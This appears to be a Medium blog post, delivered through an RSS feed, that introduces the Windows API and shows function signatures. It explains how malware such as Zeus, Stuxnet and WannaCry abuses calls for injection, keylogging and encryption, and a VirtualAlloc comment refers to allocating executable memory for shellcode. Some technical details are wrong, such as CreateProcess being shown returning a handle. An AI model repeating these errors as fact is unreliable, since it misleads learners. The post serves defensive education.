            <content:encoded><![CDATA[<h3>Understanding Malware Through the Windows API Lens</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eLCerTQZ3D1Ewm-F2YLzSA.jpeg" /></figure><p><strong>The Windows API</strong>, also referred to as <strong>Win32 API,</strong> is a programming interface provided by Microsoft that allows user-mode applications to communicate with the Windows operating system. It enables applications to request system components like memory, process scheduling, file handling, and access to CPU and I/O devices by communicating with the Windows kernel. The Windows API allows developers to develop applications that interact properly with the Windows operating system.</p><h3><strong>Components of Windows API</strong></h3><p>Windows API has core dynamic link libraries (DLLs)such as <strong>KERNEL32</strong>, <strong>USER32</strong>, <strong>ADVAPI32.dll</strong>, and <strong>GDI32.dll</strong>. The core dynamic link libraries contain the essential functions used by the operating system. The DLLs are loaded into memory when programs run, so they can reuse shared code.</p><p><strong>KERNEL32.dll</strong></p><p>This is one of the most important libraries in the Windows operating system. It is responsible for allocating memory, creating processes, and ensuring proper allocation of memory to each application. allows for data to be written to devices more easily by providing a standard way to work with files, devices, and hardware. That way, devices can easily interact with things like the file system or network connections.</p><p>With support for managing processes, Kernel32.dll allows programs to run multiple tasks at once, so that it can speed up application operation. It also offers tools for synchronization to help manage shared access to resources and prevent data from getting corrupted.</p><p><strong>USER32.dll</strong></p><p>This plays a key role in how users interact with applications and the operating system itself. The User32.dll handles the following:</p><ol><li>User input handling: it processes inputs from devices like the keyboard, mouse, and touchscreen. It translates the input so that users can interact properly with applications and system features.</li><li>Windows Management: This creates and controls application windows, managing events like resizing, minimizing, handling of buttons, scrollbars, etc.</li><li>GUI Elements: Developers can create graphical user interface components like forms, dialog boxes, and controls. This allows the application to display interactive content to respond to user actions.</li><li>Message Handling: This uses a message-based system to handle communication between the OS and applications. User32.dll handles this by passing messages to the correct window or control.</li></ol><p><strong>ADVAPI32.dll</strong></p><p>Advanced Windows 32 base API DLL (ADVAPI32.dll) is a core Windows system that provides support for security management, registry operations, and system services. It functions as a bridge between user—level applications and Windows security and configuration systems.</p><p><strong>GDI32.dll</strong></p><p>The graphics device interface allows applications to render graphics and formatted text on display screens and printers. The DLL interacts with the graphics hardware on behalf of the user application.</p><h3><strong>Common Windows API functions and their uses</strong></h3><ol><li>CreateFile — This opens an existing file</li></ol><pre>HANDLE CreateFile(<br>  [in]           LPCSTR                lpFileName, <br>// file name to be created <br>  [in]           DWORD                 dwDesiredAccess, <br>// type of access (read, write, both etc)<br>  [in]           DWORD                 dwShareMode, <br>// How other process access the file while it&#39;s open <br>  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes, <br>// contains a pointer to a structure that dtermaines the file&#39;s security and inheritance<br>  [in]           DWORD                 dwCreationDisposition,<br>// controls what happens if the file has already been created<br>  [in]           DWORD                 dwFlagsAndAttributes,<br>// Sets file attributes and behaviour flags<br>  [in, optional] HANDLE                hTemplateFile<br>// This is used to copy attributes from another file <br>);<br></pre><p>2. ReadFile — This reads data from the specified file</p><pre>BOOL ReadFile(<br>  HANDLE hFile,<br>// This is a handle to a file or input source to read from<br>  LPVOID lpBuffer,<br>// A pointer to the buffer where the data will be read from<br>  DWORD nNumberOfBytesToRead,<br>// Specifies the maximum number of bytes you want to read <br>  LPDWORD lpNumberOfBytesRead,<br>// A pointer to a variable that receives the actual bytes read <br>  LPOVERLAPPED lpOverlapped<br>); </pre><p>3. WriteFile — This writes data to a specified file</p><pre>BOOL WriteFile(<br>  HANDLE hFile,<br>// A handle to the file you want to write to <br>  LPCVOID lpBuffer,<br>// A buffer that contains the data you want to write <br>  DWORD nNumberOfBytesToWrite,<br>// The number of bytes you want to write<br>  LPDWORD lpNumberOfBytesWritten,<br>// A pointer to a variable that receives the actual number of bytes written<br>  LPOVERLAPPED lpOverlapped<br>// pointer to an overlapped structure</pre><p>4. CreateProcess — This creates a new process that runs independently of the parent process</p><pre>HANDLE CreateProcess(<br>  LPCTSTR lpApplicationName,<br>// Full path to executable file <br>  LPTSTR lpCommandLine,<br>// The command line to execute, including the application name and arguments <br>  LPSECURITY_ATTRIBUTES lpProcessAttributes,<br>// pointer to a structure that determines whether the returned process handle is inheritable by the child process<br>  LPSECURITY_ATTRIBUTES lpThreadAttributes,<br>// pointer to a structure that determines whether the primary thread of the new process handle is inheritable by the child process<br>  BOOL bInheritHandles,<br>// If true, allows for the new process to inherit handles<br>  DWORD dwCreationFlags,<br>// Controls how the process is created <br>  LPVOID lpEnvironment,<br>// A pointer to the enviroment block for the new process<br>  LPCTSTR lpCurrentDirectory,<br>// Full path to working directory for the new process<br>  LPSTARTUPINFO lpStartupInfo,<br>// Pointer that defines how the main window appears <br>  LPPROCESS_INFORMATION lpProcessInformation<br>// pointer to process_information that receives identifiers and handles for the new process <br>); </pre><p>5. TerminateProcess — Terminates the specified process</p><pre>BOOL TerminateProcess(<br>  HANDLE hProcess,<br>// Handle to the process you want to terminate <br>  UINT uExitCode<br>// exit code assigned to the process being terminated<br>); </pre><p>6. Virtual alloc — Changes the state of a region of memory.</p><pre>LPVOID VirtualAlloc(<br>  LPVOID lpAddress,<br>  SIZE_T dwSize,                // Shellcode must be between 0x1 and 0x10000 bytes (page size)<br>  DWORD flAllocationType,       // #define MEM_COMMIT 0x00001000<br>  DWORD flProtect               // #define PAGE_EXECUTE_READWRITE 0x00000040  <br>);</pre><p>7. WriteProcessMemory- Writes data to an area of memory</p><pre>BOOL WriteProcessMemory(<br>  [in]  HANDLE  hProcess,<br>  [in]  LPVOID  lpBaseAddress,<br>  [in]  LPCVOID lpBuffer,<br>  [in]  SIZE_T  nSize,<br>  [out] SIZE_T  *lpNumberOfBytesWritten<br>); </pre><p>8. Load Library —</p><pre>HMODULE LoadLibrary(<br>  LPCTSTR lpFileName<br>); // Loads a dynamic-link library (DLL) module into the address space of the calling process.</pre><p>The Windows API’s above can be used by software developers to create files, launch new processes, allocate memory for applications, and load dynamic libraries. The abuse of such allows malware actors to also open sensitive files, load malicious DLLs at runtime for privilege escalation, allow memory inside another process to inject malicious code, or launch hidden malicious payloads. This dual nature of the windows api makes it difficult for security tools to distinguish good behaviour from bad behaviour.</p><p>For example, a developer can call a create file function, which is legitimately used to create config files, but maliciously could be used to read/ write sensitive user data.</p><h4><strong>MALWARE CASE STUDIES</strong></h4><ol><li><strong>Zeus Trojan</strong> — Banking Trojan that exploits Windows systems</li></ol><p>Uses:</p><blockquote><strong>SetWindowsHookEx() </strong>installs a key logger and captures user input at the kernel level.</blockquote><blockquote><strong>InternetOpenUrl()</strong> and <strong>HttpSendRequest()</strong> to communicate with the command and control (C2).</blockquote><p>2. <strong>Stuxnet Virus</strong> — Built to destroy</p><p>Uses:</p><blockquote><strong>CreateRemoteThread()</strong> to inject its code into a legitimate process</blockquote><blockquote><strong>ReadProcessMemory()</strong> and <strong>WriteProcessMemory()</strong> — manipulate the control software used by Siemens.</blockquote><blockquote><strong>DeviceIoControl() </strong>— Interacts and sends crafted commands to hardware drivers, enabling low-level access to industrial systems.</blockquote><p>3. WannaCry ransomware — Ransomware that exploits the EternalBlue SMB vulnerability.</p><p>Uses:</p><blockquote><strong>CreateProcess()</strong> to execute the encryption payload</blockquote><blockquote><strong>CryptEncrypt()</strong> to lock user files</blockquote><blockquote><strong>MoveFileEx()</strong> to overwrite original files with encrypted versions.</blockquote><p>The analysis of real-world malware affecting Windows systems shows a critical pattern that blurs the fine line between utility and abuse. By embedding their operations within the trusted systems calls, malware can operate stealthily, making detection increasingly difficult.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5044352fd305" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>